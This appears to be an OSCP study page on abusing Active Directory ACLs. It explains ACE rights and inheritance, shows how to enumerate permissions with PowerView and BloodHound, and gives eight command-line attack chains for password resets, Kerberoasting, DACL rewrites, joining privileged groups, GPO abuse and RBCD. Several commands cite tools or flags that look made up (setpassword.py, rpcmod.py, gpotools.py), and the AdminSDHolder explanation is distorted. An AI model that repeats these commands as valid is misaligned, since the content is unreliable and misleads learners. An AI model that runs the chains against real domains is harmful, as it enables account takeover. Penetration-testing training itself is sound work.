Domain 6Active Directory AttacksCORE

ACL and ACE Analysis

Access Control Lists and Access Control Entries in Active Directory: ACE types, attack relevance, inheritance, finding abusable ACLs, and ACL-based privilege escalation paths.

Domain: Domain 6: Active Directory Exploitation•Updated: 2026-09-01
#acl#ace#permissions#dacL#privilege-escalation#oscp

ACL and ACE Analysis

Access Control Lists (ACLs) and Access Control Entries (ACEs) are the foundation of AD authorization. Misconfigured ACLs are one of the most common privilege escalation vectors in OSCP labs. Understanding ACLs is essential for finding and exploiting attack paths.


1. ACL Fundamentals

What Are ACLs and ACEs?

Security Descriptor (on every AD object):
══════════════════════════════════════════
├── Owner                          → Who owns the object
├── Primary Group                  → Primary group of the object
└── DACL (Discretionary ACL)       → List of who can do what
    ├── ACE 1: UserA → GenericAll on UserB
    ├── ACE 2: GroupX → WriteDACL on ComputerC
    ├── ACE 3: Authenticated Users → GenericRead on OU
    └── ACE 4: UserD → WriteOwner on GroupE

Key Concepts

Term Definition
Security Descriptor The container that holds ownership, group, and ACL information for an object. Every AD object has one.
DACL (Discretionary ACL) The list of ACEs that control who can access the object and what they can do.
SACL (System ACL) The list of ACEs that control what access events are audited. Not relevant for attacks.
ACE (Access Control Entry) A single entry in the DACL that defines one permission: who (principal) can do what (rights) on this object.
Principal The user or group that the ACE applies to.
Access Rights The specific permissions granted or denied by the ACE.
Inheritance Whether the ACE is inherited from a parent object or set explicitly on this object.

How ACLs Work in AD

Every AD object has a Security Descriptor:
══════════════════════════════════════════

Object: CN=jsmith,CN=Users,DC=corp,DC=com
│
├── Owner: CN=Administrator,CN=Users,DC=corp,DC=com
├── Primary Group: CN=Domain Users,CN=Users,DC=corp,DC=com
└── DACL:
    ├── ACE: AUTHENTICATED USERS → GenericRead (Inherited from OU)
    ├── ACE: AUTHENTICATED USERS → Self (Inherited from OU)
    ├── ACE: jsmith → GenericAll (Explicit — MISCONFIGURATION!)
    ├── ACE: DOMAIN ADMINS → GenericAll (Inherited from Domain)
    └── ACE: ENTERPRISE ADMINS → GenericAll (Inherited from Domain)

2. ACE Types and Attack Relevance

Complete ACE Rights Reference

ACE Right Description Attack Potential Exploitation Method
GenericAll Full control over the object. Can modify any attribute, change ownership, modify ACLs. CRITICAL — Complete object takeover Reset password, add SPN, modify group membership, change anything
GenericWrite Can write to most object attributes (not all). Cannot modify ACLs or ownership. HIGH — Modify SPN, description, userPassword, etc. Add SPN for Kerberoasting, reset password via unicodePwd, modify description
WriteDACL Can modify the DACL (ACL) of the object. CRITICAL — Grant yourself ANY permission on the object Grant yourself GenericAll, then full control
WriteOwner Can change the owner of the object. CRITICAL — Become owner, then grant yourself any permission Change owner to yourself, then grant GenericAll
AllExtendedRights Can perform all extended operations on the object. HIGH — Force change password, change SID, get local admin control Force password reset, change account properties
WriteSPN Can write the servicePrincipalName attribute. HIGH — Create Kerberoasting target Add SPN to user, then Kerberoast to get their hash
AddMember Can add members to a group. HIGH — Join a privileged group Add yourself to Domain Admins, Enterprise Admins, etc.
ForceChangePassword Can force a password change for the user. HIGH — Take over the account Reset the user’s password to one you control
ResetPassword Can reset the user’s password. HIGH — Take over the account Reset the user’s password to one you control
ReadLAPSPassword Can read the LAPS password for a computer. HIGH — Get local admin password Read ms-MCS-AdmPwd attribute for local admin access
AllowedToAct Can modify the RBCD delegation attribute. CRITICAL — Resource-Based Constrained Delegation Add your computer to msDS-AllowedToActOnBehalfOfOtherIdentity
Self Can modify own properties (change password, update attributes). MEDIUM — Modify own account properties Change own password, update own attributes
GenericRead Can read object attributes. LOW — Enumeration only Read user attributes, group membership, etc.
ValidatedWrite Can write validated attributes (logon name, UPN). LOW — Limited modification Change logon name, UPN (rarely useful for attacks)

ACE Rights Priority

ACE Priority (highest to lowest):
═════════════════════════════════
1. GenericAll      → Full control (everything)
2. WriteDACL       → Can grant yourself anything
3. WriteOwner      → Can become owner, then full control
4. GenericWrite    → Can modify most attributes
5. AllExtendedRights → Can perform extended operations
6. AddMember       → Can join groups
7. ForceChangePassword / ResetPassword → Can take over accounts
8. AllowedToAct    → RBCD delegation
9. WriteSPN        → Can create Kerberoasting targets
10. ReadLAPSPassword → Can read LAPS passwords
11. Self           → Can modify own properties
12. GenericRead    → Read-only
13. ValidatedWrite → Limited write

3. ACE Inheritance

How Inheritance Works

ACL Inheritance Flow:
═════════════════════

Domain Root (DC=corp,DC=com)
│
│  DACL on Domain:
│  ├── AUTHENTICATED USERS → GenericRead (Inherited: YES)
│  ├── DOMAIN ADMINS → GenericAll (Inherited: YES)
│  └── ENTERPRISE ADMINS → GenericAll (Inherited: YES)
│
├── OU=Users (inherits from Domain)
│   │
│   │  DACL on OU:
│   │  ├── [Inherited] AUTHENTICATED USERS → GenericRead
│   │  ├── [Inherited] DOMAIN ADMINS → GenericAll
│   │  └── [Explicit] HELPDESK → GenericWrite ← MISCONFIGURATION!
│   │
│   ├── User: alice (inherits from OU)
│   │   DACL:
│   │   ├── [Inherited from OU] HELPDESK → GenericWrite
│   │   ├── [Inherited from Domain] AUTHENTICATED USERS → GenericRead
│   │   └── [Inherited from Domain] DOMAIN ADMINS → GenericAll
│   │
│   └── User: bob (inherits from OU)
│       DACL:
│       ├── [Inherited from OU] HELPDESK → GenericWrite
│       ├── [Inherited from Domain] AUTHENTICATED USERS → GenericRead
│       └── [Inherited from Domain] DOMAIN ADMINS → GenericAll
│
├── OU=Servers (inherits from Domain)
│   │
│   │  DACL on OU:
│   │  ├── [Inherited] AUTHENTICATED USERS → GenericRead
│   │  ├── [Inherited] DOMAIN ADMINS → GenericAll
│   │  └── [Explicit] APP_TEAM → GenericWrite ← MISCONFIGURATION!
│   │
│   └── Computer: SRV01$ (inherits from OU)
│       DACL:
│       ├── [Inherited from OU] APP_TEAM → GenericWrite
│       ├── [Inherited from Domain] AUTHENTICATED USERS → GenericRead
│       └── [Inherited from Domain] DOMAIN ADMINS → GenericAll
│
└── OU=Workstations (inherits from Domain)
    └── Computer: WS01$ (inherits from OU)

Inherited vs Explicit ACEs

Type Description Attack Relevance
Inherited ACE inherited from a parent object (OU, Domain). Applies to all child objects. If you can modify the parent’s ACL, you affect all children.
Explicit ACE set directly on the object. Does not inherit from parent. More specific, often indicates intentional (or accidental) permission grant.
Inherited + Explicit Object has both inherited and explicit ACEs. Explicit ACEs can override inherited ones (especially Deny ACEs).

Breaking Inheritance

When inheritance is broken:
═══════════════════════════
1. The administrator explicitly breaks inheritance on an object
2. Inherited ACEs are converted to explicit ACEs (or removed)
3. The object no longer inherits new ACEs from the parent
4. This is common on sensitive objects (protected groups, DCs)

Admin SD Protection (AdminSDHolder):
════════════════════════════════════
1. Protected groups (DA, EA, Admins, etc.) have their ACLs reset
2. Every 60 minutes, the Domain Controller checks protected groups
3. Their ACLs are replaced with the AdminSDHolder template
4. This prevents ACL manipulation on protected groups
5. However, there is a 60-minute window after a user is added to
   a protected group before Admin SD Protection kicks in

4. Finding Abusable ACLs

Using PowerView

# ACLs on a specific object
Get-ObjectAcl -SamAccountName target -ResolveIds

# ACLs on all objects (comprehensive)
Get-DomainObjectAcl -ResolveIds -LDAPFilter "(objectClass=*)" |
  Where-Object {
      $_.ActiveDirectoryRights -match "Write|GenericAll|GenericWrite|Owner|AllExtendedRights|AddMember|ForceChangePassword"
  } |
  Select-Object ObjectDN, ActiveDirectoryRights, SecurityIdentifier, IdentityReference

# ACLs for current user
$currentUser = Get-NetUser
Get-DomainObjectAcl -ResolveIds -LDAPFilter "(objectClass=*)" |
  Where-Object {
      $_.SecurityIdentifier -eq $currentUser.objectsid -or
      (Get-NetGroupMember -Identity ($_.SecurityIdentifier)).MemberName -contains $currentUser.samaccountname
  }

# Find objects where Authenticated Users has write access
Get-DomainObjectAcl -ResolveIds |
  Where-Object {
      $_.IdentityReference -match "Authenticated Users" -and
      $_.ActiveDirectoryRights -match "Write|GenericAll|GenericWrite"
  }

Using BloodHound

BloodHound automatically maps ACL-based attack paths:
═══════════════════════════════════════════════════════

1. Run SharpHound with ACL collection:
   .\SharpHound.exe -c All

2. In BloodHound UI:
   - Run "Find all users with ACL attacks on Domain Admins"
   - Run "Shortest path to Domain Admins"
   - Look for edges: GenericAll, GenericWrite, WriteDACL, WriteOwner,
     AddMember, ForceChangePassword, CanResetPassword

3. BloodHound will show:
   - Which objects you have write access to
   - Which groups you can add yourself to
   - Which users' passwords you can reset
   - Which GPOs you can modify
   - Which computers you can delegate to (RBCD)

Using ldapsearch

# Query nTSecurityDescriptor (requires appropriate permissions)
ldapsearch -x -H ldap://DC_IP \
  -D "user@domain.com" -w password \
  -b "DC=domain,DC=com" \
  "(objectClass=*)" \
  nTSecurityDescriptor

# Note: nTSecurityDescriptor may not be readable by all users
# You may need elevated privileges to read ACLs via LDAP

Using dsacls.exe

# View ACLs on an object
dsacls "CN=jsmith,CN=Users,DC=corp,DC=com"

# View ACLs on a GPO
dsacls "CN={GPO-GUID},CN=Policies,CN=System,DC=corp,DC=com"

# View ACLs on an OU
dsacls "OU=Users,DC=corp,DC=com"

5. ACL-Based Attack Chains

Attack Chain 1: GenericAll on User → Password Reset

Path: Attacker → GenericAll → Target User → Reset Password → Take Over

Steps:
1. Find user with GenericAll: BloodHound or PowerView
2. Reset the user's password:
   setpassword.py DOMAIN/attacker:oldpass@DC_IP -account-target TargetUser -new-password P@ssw0rd!
3. Authenticate as the target user:
   psexec.py DOMAIN/TargetUser:P@ssw0rd!@TARGET

Attack Chain 2: GenericWrite on User → Kerberoasting

Path: Attacker → GenericWrite → Target User → Add SPN → Kerberoast → Crack

Steps:
1. Find user with GenericWrite: BloodHound or PowerView
2. Add SPN to the user:
   rpcmod.py DOMAIN/attacker:pass@DC_IP -username TargetUser -operation "add" -attribute servicePrincipalName -value "cifs/evil.corp.local"
3. Request TGS ticket:
   getUserSPNs.py -request -dc-ip DC_IP DOMAIN/attacker:pass@DC_IP
4. Crack the ticket:
   hashcat -m 13100 hash.txt wordlist.txt

Attack Chain 3: WriteDACL on Any Object → Full Control

Path: Attacker → WriteDACL → Any Object → Grant Self GenericAll → Full Control

Steps:
1. Find object with WriteDACL: BloodHound or PowerView
2. Grant yourself GenericAll:
   dacledit.py DOMAIN/attacker:pass@DC_IP -account-target TargetObject \
     -account-name attacker -rights All
3. Now you have full control over the object
4. Use GenericAll to reset password, add SPN, modify anything

Attack Chain 4: WriteOwner on Any Object → Full Control

Path: Attacker → WriteOwner → Any Object → Become Owner → Grant Self GenericAll → Full Control

Steps:
1. Find object with WriteOwner: BloodHound or PowerView
2. Change owner to yourself:
   dacledit.py DOMAIN/attacker:pass@DC_IP -account-target TargetObject \
     -account-name attacker -owner
3. Grant yourself GenericAll:
   dacledit.py DOMAIN/attacker:pass@DC_IP -account-target TargetObject \
     -account-name attacker -rights All
4. Now you have full control over the object

Attack Chain 5: AddMember on Group → Privilege Escalation

Path: Attacker → AddMember → Privileged Group → Join Group → Inherit Privileges

Steps:
1. Find group with AddMember: BloodHound or PowerView
2. Add yourself to the group:
   addcomputer.py (for computer groups) or
   rpcmod.py DOMAIN/attacker:pass@DC_IP -group "Domain Admins" \
     -operation "add" -value "CN=attacker,CN=Users,DC=corp,DC=com"
3. Wait for token refresh (or log off/log on)
4. You now have the group's privileges

Attack Chain 6: ForceChangePassword → Account Takeover

Path: Attacker → ForceChangePassword → Target User → Reset Password → Take Over

Steps:
1. Find user with ForceChangePassword: BloodHound or PowerView
2. Force password change:
   setpassword.py DOMAIN/attacker:oldpass@DC_IP -account-target TargetUser \
     -new-password P@ssw0rd!
3. Authenticate as the target user

Attack Chain 7: GenericAll on GPO → Privilege Escalation

Path: Attacker → GenericAll → GPO → Modify GPO → Add Self to Admins → Escalate

Steps:
1. Find GPO with GenericAll: BloodHound or PowerView
2. Modify GPO to add yourself to local Administrators:
   gpotools.py DOMAIN/attacker:pass@DC_IP -gpo "GPO_Name" \
     -action add-user-to-group -username attacker -group "Administrators"
3. Wait for GPUpdate (or force: gpupdate /force)
4. You now have local admin on affected machines

Attack Chain 8: AllowedToAct on Computer → RBCD

Path: Attacker → AllowedToAct (or GenericAll/GenericWrite) → Computer → RBCD → Admin Access

Steps:
1. Find computer with write access: BloodHound or PowerView
2. Create a machine account (Powermad)
3. Add your computer to msDS-AllowedToActOnBehalfOfOtherIdentity
4. Request TGS via S4U2Self/S4U2Proxy (getST.py)
5. Access the target computer as any user (including DA)

6. Common ACL Misconfigurations in OSCP Labs

Misconfiguration Description How to Exploit
Authenticated Users → GenericAll All domain users have full control over an object Reset password, add SPN, modify anything
Authenticated Users → GenericWrite All domain users can modify object attributes Add SPN for Kerberoasting, modify description
Domain Users → WriteDACL All domain users can modify ACLs Grant yourself GenericAll, then full control
Service Account → GenericAll on DA Service account has full control over Domain Admin If you compromise the service account, you own DA
GPO → Weak ACL GPO has write access for low-privilege groups Modify GPO to add yourself to admin groups
Computer Object → Writable by Users Users can modify computer objects RBCD attack, Shadow Credentials
OU → Delegated Write Helpdesk/team has write access to OU Affects all objects in the OU via inheritance
ms-DS-MachineAccountQuota > 0 Users can create computer accounts RBCD attack (create computer, delegate to target)

OSCP Exam Checklist: ACL and ACE Analysis

Must-Know Concepts

  • Every AD object has a Security Descriptor with a DACL
  • DACL contains ACEs that define who can do what
  • GenericAll = full control, GenericWrite = modify attributes, WriteDACL = modify ACLs
  • WriteDACL and WriteOwner are CRITICAL — they lead to full control
  • ACEs inherit from parent objects (Domain → OU → Object)
  • Admin SD Protection resets ACLs on protected groups every 60 minutes
  • Authenticated Users with GenericAll/GenericWrite is a common misconfiguration
  • BloodHound automatically maps ACL-based attack paths
  • AddMember on a privileged group = direct privilege escalation
  • ForceChangePassword/ResetPassword = account takeover

Must-Remember Commands

# PowerView ACL enumeration
Get-ObjectAcl -SamAccountName target -ResolveIds
Get-DomainObjectAcl -ResolveIds -LDAPFilter "(objectClass=*)" |
  Where-Object { $_.ActiveDirectoryRights -match "Write|GenericAll|GenericWrite" }
# Impacket ACL manipulation
setpassword.py DOMAIN/attacker:pass@DC_IP -account-target TargetUser -new-password P@ssw0rd!
rpcmod.py DOMAIN/attacker:pass@DC_IP -username TargetUser -operation "add" \
  -attribute servicePrincipalName -value "cifs/evil.corp.local"
dacledit.py DOMAIN/attacker:pass@DC_IP -account-target TargetObject \
  -account-name attacker -rights All

# GPO ACL abuse
gpotools.py DOMAIN/attacker:pass@DC_IP -gpo "GPO_Name" \
  -action add-user-to-group -username attacker -group "Administrators"